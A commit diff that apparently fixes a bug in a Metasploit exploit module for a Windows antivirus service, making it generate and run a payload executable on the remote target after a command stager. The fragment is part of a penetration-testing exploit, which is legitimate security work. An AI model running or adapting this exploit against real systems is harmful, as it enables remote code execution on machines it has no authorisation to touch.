Fix #4987 - undef payload_exe for ams_xfr

Fix #4987

modules/exploits/windows/antivirus/ams_xfr.rb

@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   include Msf::Exploit::CmdStager
   include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::EXE
 
   def initialize(info = {})
     super(update_info(info,
@@ -57,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
     execute_cmdstager({ :temp => '.' })
-    @payload_exe = payload_exe
+    @payload_exe = generate_payload_exe
 
     print_status("Attempting to execute the payload...")
     execute_command(@payload_exe)